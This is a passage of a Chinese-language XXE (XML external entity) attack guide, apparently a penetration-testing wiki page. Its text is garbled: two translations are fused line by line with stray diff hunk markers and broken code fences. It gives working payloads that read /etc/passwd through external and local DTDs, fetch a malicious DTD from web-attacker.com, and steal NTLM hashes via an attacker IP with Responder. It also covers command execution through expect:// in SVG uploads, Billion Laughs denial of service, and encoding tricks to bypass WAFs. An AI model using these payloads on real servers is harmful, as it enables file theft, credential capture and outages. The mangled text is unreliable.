此XXE有效载荷声明了一个名为`xxe`的XML参数实体然后在DTD中使用该实体。这将导致XML解析器从攻击者的服务器获取外部DTD并内联解释它。然后执行恶意DTD中定义的步骤并将`/etc/passwd`文件传输到攻击者的服务器。
### 基于错误的外部DTD ### 基于错误的(外部DTD)
**在这种情况下,我们将使服务器加载一个恶意DTD该DTD将在错误消息中显示文件的内容仅当您能看到错误消息时有效。** [**此处的示例。**](https://portswigger.net/web-security/xxe/blind) **在这种情况下,我们将让服务器加载一个恶意的DTD该DTD将在错误消息中显示文件的内容仅当您可以看到错误消息时才有效。** [**示例在这里。**](https://portswigger.net/web-security/xxe/blind)
您可以使用如下恶意外部DTD触发包含`/etc/passwd`文件内容的XML解析错误消息 您可以使用恶意的外部DTD触发包含`/etc/passwd`文件内容的XML解析错误消息如下所示
```
```markup ```markup
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval; %eval;
%error; %error;
``` ```
```markdown 这个DTD执行以下步骤
此DTD执行以下步骤
* 定义一个名为 `file` 的XML参数实体包含 `/etc/passwd` 文件的内容。 * 定义一个名为 `file` 的XML参数实体包含 `/etc/passwd` 文件的内容。
* 定义一个名为 `eval` 的XML参数实体包含另一个名为 `error` 的XML参数实体的动态声明。`error` 实体将通过加载一个不存在的文件来评估,该文件的名称包含 `file` 实体的值 * 定义一个名为 `eval` 的XML参数实体包含另一个名为 `error` 的XML参数实体的动态声明。`error` 实体将通过加载一个包含 `file` 实体值的不存在文件来进行评估
* 使用 `eval` 实体,导致执行 `error` 实体的动态声明。 * 使用 `eval` 实体,导致执行 `error` 实体的动态声明。
* 使用 `error` 实体,因此尝试加载不存在的文件来评估其值,结果在错误消息中包含不存在文件的名称,即 `/etc/passwd` 文件的内容。 * 使用 `error` 实体,使其值通过尝试加载不存在的文件进行评估,导致包含不存在文件名的错误消息,该文件名是 `/etc/passwd` 文件的内容。
使用以下方法调用外部DTD错误 调用外部DTD错误
```
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
``` ```
您应该在Web服务器响应的错误消息中看到文件的内容。 ### **基于错误的 (system DTD)**
![](<../.gitbook/assets/image (223) (1).png>) 那么当**阻止带外交互**(外部连接不可用)时,盲目 XXE 漏洞如何处理呢?
_**请注意外部DTD允许我们在第二个实体`eval`中包含一个实体但在内部DTD中是禁止的。因此通常情况下如果不使用外部DTD您就无法强制出现错误。**_ XML 语言规范中的一个漏洞可以通过错误消息**暴露敏感数据**,当文档的 DTD 混合了内部和外部声明时。这个问题允许在内部重新定义在外部声明的实体,促进基于错误的 XXE 攻击的执行。这种攻击利用了在内部 DTD 中重新定义 XML 参数实体,最初在外部 DTD 中声明。当服务器阻止带外连接时,攻击者必须依赖本地 DTD 文件来进行攻击,旨在诱发解析错误以揭示敏感信息。
### **基于错误的系统DTD** 考虑一个场景,服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件,定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交以下混合 DTD 来诱发 XML 解析错误,从而揭示 `/etc/passwd` 文件的内容:
```xml
那么,当**出站交互被阻止**不可用外部连接盲目的XXE漏洞怎么办[信息来自这里](https://portswigger.net/web-security/xxe/blind)。
在这种情况下由于XML语言规范中的一个漏洞仍然可能触发包含敏感数据的错误消息。如果文档的**DTD使用内部和外部DTD声明的混合体**,那么**内部DTD可以重新定义在外部DTD中声明的实体**。当这种情况发生时使用XML参数实体在另一个参数实体的定义中的限制就放宽了。
这意味着攻击者可以在**内部DTD中使用基于错误的XXE技术**前提是他们使用的XML参数实体是**重新定义在外部DTD中声明的实体**。当然如果出站连接被阻止那么外部DTD就不能从远程位置加载。相反它需要是一个**对应用服务器本地的外部DTD文件**。_本质上攻击涉及调用存在于本地文件系统上的DTD文件并将其重新用途化以重新定义现有实体从而触发包含敏感数据的解析错误。_
例如,假设服务器文件系统上的位置`/usr/local/app/schema.dtd`有一个DTD文件这个DTD文件定义了一个名为`custom_entity`的实体。攻击者可以通过提交如下的混合DTD来触发一个包含`/etc/passwd`文件内容的XML解析错误消息
```markup
<!DOCTYPE foo [ <!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity ' <!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval; &#x25;eval;
&#x25;error; &#x25;error;
'> '>
%local_dtd; %local_dtd;
]> ]>
``` ```
```markdown 以下是由此DTD执行的步骤
此 DTD 执行以下步骤:
* 定义一个名为 `local_dtd` 的 XML 参数实体,包含服务器文件系统上存在的外部 DTD 文件的内容 - 定义了一个名为`local_dtd`的XML参数实体其中包含位于服务器文件系统上的外部DTD文件
* 重新定义名为 `custom_entity` 的 XML 参数实体,该实体已在外部 DTD 文件中定义。实体被重新定义为包含已描述的[基于错误的 XXE 漏洞利用](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages),用于触发包含 `/etc/passwd` 文件内容的错误消息 - 对`custom_entity` XML参数实体进行重新定义最初在外部DTD中定义以封装一个[基于错误的XXE利用](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。这种重新定义旨在引发解析错误,从而暴露`/etc/passwd`文件的内容
* 使用 `local_dtd` 实体,以便解释外部 DTD包括 `custom_entity` 实体的重新定义值。这导致了所需的错误消息 - 通过使用`local_dtd`实体启用了外部DTD包含了新定义的`custom_entity`。这一系列操作导致了利用所针对的错误消息的发出
**真实世界示例:** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 有一个包含名为 `ISOamso` 的实体 **真实世界示例:** 使用GNOME桌面环境的系统通常在`/usr/share/yelp/dtd/docbookx.dtd`中包含一个名为`ISOamso`的实体。
```
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!DOCTYPE foo [
@ -258,20 +221,22 @@ _**请注意外部DTD允许我们在第二个实体`eval`)中包含一
``` ```
![](<../.gitbook/assets/image (224).png>) ![](<../.gitbook/assets/image (224).png>)
由于这种技术使用了**内部DTD因此首先需要找到一个有效的DTD**。您可以通过**安装**服务器使用的相同**操作系统/软件**并**搜索一些默认的DTDs**,或者**获取**系统内部**默认DTDs**的列表并**检查**是否存在任何一个: 由于这种技术使用**内部 DTD您首先需要找到一个有效的 DTD**。您可以通过**安装**与服务器相同的**操作系统/软件**,并**搜索一些默认的 DTD**,或者**获取系统中默认 DTD 的列表**,然后**检查**是否存在任何一个:
```markup ```markup
<!DOCTYPE foo [ <!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd; %local_dtd;
]> ]>
``` ```
### 在系统内查找DTDs 更多信息请查看[https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
在以下这个很棒的github仓库中你可以找到**可能存在于系统中的DTDs路径** ### 在系统中查找DTDs
在以下令人敬畏的github存储库中您可以找到**可能存在于系统中的DTDs的路径**
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %} {% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
此外,如果你有**受害系统的Docker镜像**,你可以使用同一仓库中的工具来**扫描**这个**镜像**并**找到**系统内部存在的**DTDs**的路径。阅读[github的Readme](https://github.com/GoSecure/dtd-finder)来了解如何操作 此外,如果您有**受害系统的Docker镜像**,您可以使用相同存储库中的工具来**扫描**该**镜像**并**查找**系统中存在的**DTDs**的路径。阅读[github的Readme](https://github.com/GoSecure/dtd-finder)以了解详情
```bash ```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -283,50 +248,50 @@ Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : [] Testing 0 entities : []
``` ```
### 通过 Office Open XML 解析器的 XXE ### 通过 Office Open XML 解析器进行 XXE 攻击
深入了解这种攻击,请**查看 Detectify [这篇精彩文章](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)的第二部分** 要了解这种攻击的更深入解释,请查看 Detectify [这篇精彩文章](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)的第二部分。
许多网络应用程序**提供上传 Microsoft Office 文档的功能**,然后继续从这些文档中提取某些细节。例如,网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据,它将不可避免地需要解析至少一个 XML 文件。 许多 Web 应用程序提供了上传 Microsoft Office 文档的功能然后从这些文档中提取某些详细信息。例如Web 应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了从电子表格中提取数据,解析器必然需要解析至少一个 XML 文件。
要测试这个漏洞,需要创建一个**包含 XXE 有效载荷的 Microsoft Office 文件**。第一步是创建一个空目录,以便可以将文档解压到其中。 要测试此漏洞,需要创建一个包含 XXE 负载的 Microsoft Office 文件。第一步是创建一个空目录,以便可以将文档解压到其中。
一旦文档解压,位于 `./unzipped/word/document.xml` 的 XML 文件应该用首选的文本编辑器(如 vim打开并编辑。应该修改 XML 以包含所需的 XXE 有效载荷,通常从一个 HTTP 请求开始 文档解压缩后应打开位于 `./unzipped/word/document.xml` 的 XML 文件,并在首选文本编辑器(如 vim中进行编辑。应修改 XML 以包含所需的 XXE 负载,通常以 HTTP 请求开头
修改后的 XML 行应该插入两个根 XML 对象之间。重要的是用一个可监控的 URL 替换 URL。 修改后的 XML 行应插入在两个根 XML 对象之间。重要的是将 URL 替换为可监控请求的 URL。
最后,可以将文件压缩以创建恶意的 poc.docx 文件。从之前创建的“unzipped”目录中应该运行以下命令: 最后,可以将文件压缩为恶意 poc.docx 文件。从先前创建的 "unzipped" 目录中,应运行以下命令:
现在,创建的文件可以上传到可能存在漏洞的网络应用程序中,可以希望在 Burp Collaborator 日志中出现一个请求。 现在,可以将创建的文件上传到可能存在漏洞的 Web 应用程序中,并希望在 Burp Collaborator 日志中出现请求。
### Jar: 协议 ### Jar 协议
`jar` 协议仅适用于**Java 应用程序**。它允许访问位于 **PKZIP** 文件(`.zip`、`.jar` 等)内的文件,并适用于本地和远程文件: `jar` 协议仅适用于 Java 应用程序。它允许访问 PKZIP 文件(`.zip`、`.jar` 等)中的文件,并适用于本地和远程文件。
``` ```
jar:file:///var/myarchive.zip!/file.txt jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt
``` ```
{% hint style="danger" %} {% hint style="danger" %}
能够访问PKZIP文件内的文件**通过系统DTD文件滥用XXE非常有用。** 查看[本节了解如何滥用系统DTD文件](xxe-xee-xml-external-entity.md#error-based-system-dtd)。 访问 PKZIP 文件内部的文件对于通过系统 DTD 文件滥用 XXE 非常有用。查看[此部分以了解如何滥用系统 DTD 文件](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
{% endhint %} {% endhint %}
#### 幕后原理 #### 幕后
1. 发起HTTP请求以加载zip存档。 `https://download.host.com/myarchive.zip` 1. 发起 HTTP 请求以加载 zip 存档。`https://download.host.com/myarchive.zip`
2. 将HTTP响应保存到临时位置。 `/tmp/...` 2. 将 HTTP 响应保存到临时位置。`/tmp/...`
3. 解压存档。 3. 解压存档。
4. 读取`file.zip` 4. 读取 `file.zip`
5. 删除临时文件。 5. 删除临时文件。
请注意,可以在第二步中停止流程。技巧是在提供文件时永远不关闭连接。 [这些工具可能有用](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution)一个是python `slow_http_server.py`另一个是java `slowserver.jar` 请注意,可以在第二步中停止流程。技巧是在提供文件时永远不要关闭连接。[这些工具可能会有所帮助](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution):一个是 Python 中的 `slow_http_server.py`,另一个是 Java 中的 `slowserver.jar`
一旦服务器下载了您的文件,您需要通过浏览临时目录来找到其位置。由于是随机的,文件路径无法预先预测 一旦服务器下载了您的文件,您需要通过浏览临时目录来找到其位置。由于路径是随机的,因此无法提前预测文件路径
![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png) ![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png)
{% hint style="danger" %} {% hint style="danger" %}
在临时目录中写入文件可以帮助**升级另一个涉及路径遍历的漏洞**例如本地文件包含、模板注入、XSLT RCE、反序列化等 将文件写入临时目录可以帮助**升级涉及路径遍历的另一个漏洞**例如本地文件包含、模板注入、XSLT RCE、反序列化等
{% endhint %} {% endhint %}
### XSS ### XSS
@ -335,7 +300,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
``` ```
### DoS ### DoS
#### Billion Laugh Attack #### 十亿笑攻击
```markup ```markup
<!DOCTYPE data [ <!DOCTYPE data [
<!ENTITY a0 "dos" > <!ENTITY a0 "dos" >
@ -358,67 +323,69 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
``` ```
#### 二次膨胀攻击 #### 二次方爆炸攻击
![](<../.gitbook/assets/image (531).png>) ![](<../.gitbook/assets/image (531).png>)
#### 获取 NTML #### 获取 NTML
Windows主机上可以通过设置responder.py处理程序来获取web服务器用户的NTML哈希 Windows 主机上,可以通过设置 responder.py 处理程序来获取 Web 服务器用户的 NTML 哈希值
``` ```
Responder.py -I eth0 -v Responder.py -I eth0 -v
``` ```
发送以下请求 通过发送以下请求
``` ```
<!--?xml version="1.0" ?--> <!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]> <!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data> <data>&example;</data>
``` ```
然后你可以尝试使用hashcat破解哈希值 ## 隐藏的XXE表面
## 隐藏的XXE攻击面
### XInclude ### XInclude
[来自这里。](https://portswigger.net/web-security/xxe) 在某些情况下,**客户端发送的数据在解析之前会被服务器端处理并合并到一个XML文档中**。这通常发生在客户端数据被整合到一个**后端SOAP请求**中随后由后端的SOAP服务处理。
一些应用程序**接收客户端提交的数据在服务器端将其嵌入到XML文档中然后解析该文档**。这种情况的一个例子是,客户端提交的数据被放置到**后端SOAP请求**中然后由后端SOAP服务处理 在这些情况下执行传统的XXEXML外部实体攻击变得具有挑战性因为对XML文档整体的控制受限特别是无法修改或引入`DOCTYPE`元素。然而,利用`XInclude`这是XML标准的一个功能它允许从较小的子文档组装一个XML文档提供了一种解决方法。这种方法允许在XML文档的任何数据元素中进行`XInclude`攻击在服务器生成的XML文档中嵌入数据的控制受限的情况下也是可行的
在这种情况下你无法执行经典的XXE攻击因为**你无法控制整个XML**文档,因此无法定义或修改`DOCTYPE`元素。然而,你可能可以使用`XInclude`来代替。`XInclude`是XML规范的一部分它允许一个XML文档由子文档构建。你可以在XML文档中任何数据值中放置一个`XInclude`攻击因此在你只控制被放入服务器端XML文档的单个数据项的情况下也可以执行攻击。 要发起一个`XInclude`攻击,需要包含`XInclude`命名空间,并指定用于包含的文件路径。以下示例演示了如何构建这样一种攻击:
```xml
要执行一个`XInclude`攻击,你需要引用`XInclude`命名空间并提供你希望包含的文件的路径。例如:
```markup
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1 productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
``` ```
查看[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)获取更多信息!
### SVG - 文件上传 ### SVG - 文件上传
[从这里开始。](https://portswigger.net/web-security/xxe) 用户上传到某些应用程序的文件,然后在服务器上进行处理,可能会利用处理 XML 或包含 XML 的文件格式的漏洞。常见的文件格式如办公文档DOCX和图像SVG都是基于 XML 的。
一些应用程序允许用户上传文件然后在服务器端进行处理。一些常见的文件格式使用XML或包含XML子组件。XML基于格式的例子包括办公文档格式如DOCX和图像格式如SVG 当用户**上传图像**时,这些图像会在服务器端进行处理或验证。即使是期望 PNG 或 JPEG 等格式的应用程序,**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为基于 XML 的格式,可以被攻击者利用来提交恶意 SVG 图像,从而使服务器暴露于 XXEXML External Entity漏洞
例如,一个应用程序可能允许用户**上传图像**并在上传后在服务器上处理或验证这些图像。即使应用程序期望接收像PNG或JPEG这样的格式**正在使用的图像处理库可能支持SVG图像**。由于SVG格式使用XML攻击者可以提交恶意的SVG图像因此触达XXE漏洞的隐藏攻击面。 下面展示了这种利用的示例,其中恶意 SVG 图像尝试读取系统文件:
```markup ```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
``` ```
你也可以尝试使用 PHP 的 "expect" 包装器来**执行命令** 另一种方法涉及尝试通过 PHP 的 "expect" 包装器执行命令
```markup ```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image> <image xlink:href="expect://ls"></image>
</svg> </svg>
``` ```
**请注意读取文件的第一行或执行结果的第一行将出现在创建的图像内部。因此您需要能够访问SVG创建的图像。** 在这两种情况下SVG 格式被用来发动攻击,利用服务器软件的 XML 处理能力,突显了对强大的输入验证和安全措施的需求。
查看[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)获取更多信息!
**请注意读取文件的第一行或执行结果将出现在创建的图像内部。因此,您需要能够访问 SVG 创建的图像。**
### **PDF - 文件上传** ### **PDF - 文件上传**
阅读以下文章,**了解如何通过上传PDF文件来利用XXE** 阅读以下文章以**学习如何利用 XXE 上传 PDF 文件**
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} {% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md) [pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %} {% endcontent-ref %}
### Content-Type: 从x-www-urlencoded转换为XML ### Content-Type: 从 x-www-urlencoded 到 XML
如果一个POST请求接受XML格式的数据您可以尝试在该请求中利用XXE。例如如果一个正常请求包含以下内容: 如果 POST 请求接受 XML 格式的数据,您可以尝试在该请求中利用 XXE。例如如果正常请求包含以下内容
```markup ```markup
POST /action HTTP/1.0 POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
@ -426,7 +393,7 @@ Content-Length: 7
foo=bar foo=bar
``` ```
那么您可能可以提交以下请求,获得相同的结果 然后您可能能够提交以下请求,结果相同
```markup ```markup
POST /action HTTP/1.0 POST /action HTTP/1.0
Content-Type: text/xml Content-Type: text/xml
@ -434,9 +401,9 @@ Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo> <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
``` ```
### Content-Type从 JSON 到 XEE ### Content-Type: 从 JSON 到 XEE
要更改请求,您可以使用名为“**Content Type Converter**”的 Burp 扩展。[这里](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html)您可以找到示例: 要更改请求,您可以使用一个名为“**Content Type Converter**”的 Burp 扩展。[这里](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html)您可以找到这个示例:
```markup ```markup
Content-Type: application/json;charset=UTF-8 Content-Type: application/json;charset=UTF-8
@ -464,19 +431,19 @@ Content-Type: application/xml;charset=UTF-8
</root> </root>
</root> </root>
``` ```
另一个例可以在[这里](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2)找到。 另一个例可以在[这里](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2)找到。
## WAF 和保护绕过 ## WAF & Protections Bypasses
### Base64 ### Base64
```markup ```markup
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/> <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
``` ```
只有在XML服务器接受`data://`协议时才有效。 在XML服务器接受`data://`协议时才有效。
### UTF-7 ### UTF-7
您可以使用cyberchef的\[**"编码食谱"**] \(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) 转换为UTF-7。 您可以在此处使用\[**CyberChef的“编码配方”**](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)将其转换为UTF-7。
```markup ```markup
<!xml version="1.0" encoding="UTF-7"?--> <!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -488,17 +455,17 @@ Content-Type: application/xml;charset=UTF-8
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
``` ```
### File:/ 协议绕过 ### 文件:/ 协议绕过
如果网站使用的是 PHP可以不使用 `file:/` 而是使用 **php 包装器** `php://filter/convert.base64-encode/resource=` 来**访问内部文件**。 如果网站使用 PHP可以使用 **php wrappers** `php://filter/convert.base64-encode/resource=` 来**访问内部文件**,而不是使用 `file:/`
如果网站使用的是 Java你可以查看 [**jar: 协议**](xxe-xee-xml-external-entity.md#jar-protocol)。 如果网站使用 Java您可以查看[**jar: 协议**](xxe-xee-xml-external-entity.md#jar-protocol)。
### HTML 实体 ### HTML 实体
来自 [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) 的技巧\ 来自 [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
你可以通过使用 **HTML 实体** 编码来创建一个**实体内的实体**,然后调用它来**加载 dtd**。\ 您可以创建一个**实体内部的实体**,使用**html实体**对其进行编码,然后调用它来**加载一个dtd**。\
注意使用的 **HTML 实体** 需要是**数字型**的(如\[在此示例中]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric%20entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C) 请注意,所使用的**HTML实体**需要是**数字**的(例如\[在这个例子中]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C))
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]> <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data> <data>
@ -506,13 +473,20 @@ Content-Type: application/xml;charset=UTF-8
</data> </data>
``` ```
DTD 示例: DTD 示例:
```xml
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```
```markup ```markup
